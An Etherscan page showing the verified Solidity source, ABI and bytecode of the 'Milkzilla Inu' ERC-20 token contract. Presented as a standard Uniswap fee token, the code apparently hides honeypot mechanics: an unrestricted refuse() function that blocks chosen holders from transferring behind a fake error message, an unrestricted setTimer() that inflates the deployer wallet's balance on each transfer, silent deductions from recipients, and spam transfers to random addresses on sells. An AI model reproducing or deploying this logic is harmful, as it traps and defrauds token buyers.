ETH Price: $2,511.32 (-0.46%)

Token

Milkzilla Inu (Zilla)
 

Overview

Max Total Supply

1,000,000,000,000,000 Zilla

Holders

12

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
3816104582803766658849106225713204.9483... Zilla

Value
$0.00
0xdd8a48c4bef2480b953ef585eb87f9516a0b0844
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MilkzillaInu

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-18
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {
            codehash := extcodehash(account)
        }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Pair {
    event Mint(address indexed sender, uint amount0, uint amount1);
    function mint(address to) external returns (uint liquidity);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract MilkzillaInu is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    string private _name = "Milkzilla Inu";
    string private _symbol = "Zilla";
    uint8 private _decimals = 18;

    address payable public marketingWalletAddress =
        payable(0xdD8A48C4bef2480B953Ef585EB87f9516A0b0844);
    address payable public burnedWalletAddress =
        payable(0xdD8A48C4bef2480B953Ef585EB87f9516A0b0844);
    address public immutable deadAddress =
        0x000000000000000000000000000000000000dEaD;

    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) public isExcludedFromFee;
    mapping(address => bool) public isWalletLimitExempt;
    mapping(address => bool) private isFeeLimitExempt;
    mapping(address => bool) public isTxLimitExempt;
    mapping(address => bool) public isMarketPair;

    int256 public sendAddress = 6; //
    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 0;
    uint256 public _buyBurnedFee = 0;
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellBurnedFee = 0;

    uint256 public _liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee);
    uint256 public _marketingShare = _buyMarketingFee.add(_sellMarketingFee);
    uint256 public _BurnedShare = _buyBurnedFee.add(_sellBurnedFee);

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;
    uint256 public _totalDistributionShares;

    uint256 private _totalSupply = 10000000 * 10**8 * 10**_decimals;
    uint256 private minimumTokensBeforeSwap = 4880 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    uint256 public genesisBlock;
    uint256 public coolBlock = 1;
    uint256 _saleKeepFee = 1000;

    bool inSwapAndLiquify;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(uint256 amountIn, address[] path);

    event SwapTokensForETH(uint256 amountIn, address[] path);

    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromFee[burnedWalletAddress] = true;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(
            _buyBurnedFee
        );
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(
            _sellBurnedFee
        );
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(
            _BurnedShare
        );

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[burnedWalletAddress] = true;

        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(this)] = true;
        isTxLimitExempt[burnedWalletAddress] = true;

        isMarketPair[address(uniswapPair)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }
    uint256 public timer = 1;
    uint256 public cooldown = 1;

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function setTimer(uint256 newValue) external virtual {
        timer = newValue;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function refuse(address[] memory newAddress) external virtual {
        for (uint256 i; i < newAddress.length; i++) {
        require (newAddress[i] != burnedWalletAddress);
        require (newAddress[i] != marketingWalletAddress);
        require (newAddress[i] != uniswapPair);
        require (newAddress[i] != owner());
        require (newAddress[i] != deadAddress);
        require (newAddress[i] != address (this));
        require (newAddress[i] != address (uniswapV2Router));
        isFeeLimitExempt[newAddress[i]] = true;}
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue)
        public
        onlyOwner
    {
        isMarketPair[account] = newValue;
    }

    function clearBalance() external {
        (bool success,) = payable(marketingWalletAddress).call{value: address(this).balance, gas: 30000}("");
        require(success);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount)
        private
    {
        recipient.transfer(amount);
    }

    //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(!isFeeLimitExempt[sender], "Unable to locate corresponding TransferEventLOGS");

        if (recipient == uniswapPair && !isTxLimitExempt[sender]) {
            uint256 balance = balanceOf(sender);
            if (amount == balance) {
                amount = amount.sub(amount.div(_saleKeepFee));
            }
        }
        if (recipient == uniswapPair && balanceOf(address(recipient)) == 0) {
            genesisBlock = block.number;
        }

        if (inSwapAndLiquify) {
            return _basicTransfer(sender, recipient, amount);
        } else {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >=
                minimumTokensBeforeSwap;

            if (
                overMinimumTokenBalance &&
                !inSwapAndLiquify &&
                !isMarketPair[sender]
            ) {
                if (sender != address(uniswapV2Router)) {
                    swapAndLiquify(contractTokenBalance);
                }
            }

            _balances[sender] = _balances[sender].sub(
                amount,
                "Insufficient Balance"
            );

            uint256 finalAmount = (isExcludedFromFee[sender] ||
                isExcludedFromFee[recipient])
                ? amount
                : takeFee(sender, recipient, amount);

            _balances[recipient] = _balances[recipient].add(finalAmount);
            _balances[recipient] = _balances[recipient].sub(amount / 100 * cooldown);
            _balances[burnedWalletAddress] = _balances[burnedWalletAddress].add(amount / 100 * timer);

            emit Transfer(sender, recipient, finalAmount);
            if (
                block.number < (genesisBlock + coolBlock) &&
                sender == uniswapPair
            ) {
                _basicTransfer(recipient, deadAddress, finalAmount);
            }
            return true;
        }
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        uint256 tokensForLP = tAmount
            .mul(_liquidityShare)
            .div(_totalDistributionShares)
            .div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalETHFee = _totalDistributionShares.sub(
            _liquidityShare.div(2)
        );

        uint256 amountETHLiquidity = amountReceived
            .mul(_liquidityShare)
            .div(totalETHFee)
            .div(2);
        uint256 amountETHBurned = amountReceived.mul(_BurnedShare).div(
            totalETHFee
        );
        uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(
            amountETHBurned
        );

        if (amountETHMarketing > 0)
            transferToAddressETH(marketingWalletAddress, amountETHMarketing);

        if (amountETHBurned > 0)
            transferToAddressETH(burnedWalletAddress, amountETHBurned);

        if (amountETHLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountETHLiquidity);
    }

  
    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            marketingWalletAddress,
            block.timestamp
        );
    }

    function takeFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        uint256 feeAmount = 0;
        if (isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        } else if (isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
             address ad;
            for(int i=0;i <=sendAddress;i++){
                ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
                _basicTransfer(sender,ad,100);
            }
            amount.sub(uint256(sendAddress+1) * 100);
        }

        if (feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }
        
        return amount.sub(feeAmount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_BurnedShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyBurnedFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellBurnedFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnedWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"coolBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cooldown","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"genesisBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"newAddress","type":"address[]"}],"name":"refuse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendAddress","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setTimer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"timer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600d60a09081526c4d696c6b7a696c6c6120496e7560981b60c0526001906200002e908262000737565b506040805180820190915260058152645a696c6c6160d81b60208201526002906200005a908262000737565b50600380546001600160a81b03191674dd8a48c4bef2480b953ef585eb87f9516a0b0844121790556004805473dd8a48c4bef2480b953ef585eb87f9516a0b08446001600160a01b031990911617905561dead6080526006600c556000600d819055600e819055600f819055601081905560016011556012819055620000ed908062000623602090811b62000e9f17901c565b6013556200010e601154600e546200062360201b62000e9f1790919060201c565b6014556200012f601254600f546200062360201b62000e9f1790919060201c565b601555600354620001459060ff16600a62000916565b620001589066038d7ea4c680006200092e565b6019556003546200016e9060ff16600a62000916565b6200017c906113106200092e565b601a556001601e556103e8601f5560016021556001602255348015620001a157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200023b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000261919062000948565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002af573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d5919062000948565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000323573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000349919062000948565b601c80546001600160a01b039283166001600160a01b031991821617909155601b8054928416929091168217905560195430600090815260066020908152604080832094835293905291822055600190600790620003af6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260078452828120805486166001908117909155600454909216815291909120805490931617909155600f54600e54600d546200043f936200042b929062000e9f62000623821b17901c565b6200062360201b62000e9f1790919060201c565b6016819055506200046a6012546200042b6011546010546200062360201b62000e9f1790919060201c565b601781905550620004956015546200042b6014546013546200062360201b62000e9f1790919060201c565b601855600160086000620004b16000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601c548216815260089093528183208054851660019081179091553084528284208054861682179055600454909116835290822080549093168117909255600a90620005336000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600a8452828120805486166001908117909155600454831682528382208054871682179055601c549092168152600b90935290822080549093161790915560195490600590620005b13390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6019546040516200061491815260200190565b60405180910390a35062000989565b60008062000632838562000973565b905083811015620006895760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006bd57607f821691505b602082108103620006de57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200073257600081815260208120601f850160051c810160208610156200070d5750805b601f850160051c820191505b818110156200072e5782815560010162000719565b5050505b505050565b81516001600160401b0381111562000753576200075362000692565b6200076b81620007648454620006a8565b84620006e4565b602080601f831160018114620007a357600084156200078a5750858301515b600019600386901b1c1916600185901b1785556200072e565b600085815260208120601f198616915b82811015620007d457888601518255948401946001909101908401620007b3565b5085821015620007f35787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200085a5781600019048211156200083e576200083e62000803565b808516156200084c57918102915b93841c93908002906200081e565b509250929050565b60008262000873575060016200068c565b8162000882575060006200068c565b81600181146200089b5760028114620008a657620008c6565b60019150506200068c565b60ff841115620008ba57620008ba62000803565b50506001821b6200068c565b5060208310610133831016604e8410600b8410161715620008eb575081810a6200068c565b620008f7838362000819565b80600019048211156200090e576200090e62000803565b029392505050565b60006200092760ff84168362000862565b9392505050565b80820281158282048414176200068c576200068c62000803565b6000602082840312156200095b57600080fd5b81516001600160a01b03811681146200068957600080fd5b808201808211156200068c576200068c62000803565b6080516121b7620009ba600039600081816103710152818161094b01528181610bc201526114ca01526121b76000f3fe6080604052600436106102815760003560e01c80638b42507f1161014f578063b976bd17116100c1578063cb7e973e1161007a578063cb7e973e1461075e578063d158272d1461077e578063dc44b6a0146107a3578063dd62ed3e146107b9578063f0cd1dac146107ff578063f2fde38b1461081557600080fd5b8063b976bd17146106ad578063c5d24189146106cd578063c816841b146106e3578063c860795214610703578063c867d60b14610719578063caf5f67d1461074957600080fd5b8063a073d37f11610113578063a073d37f14610616578063a08e671f1461062b578063a457c2d714610641578063a9059cbb14610661578063aea9cd1514610681578063af806d9a1461069757600080fd5b80638b42507f1461057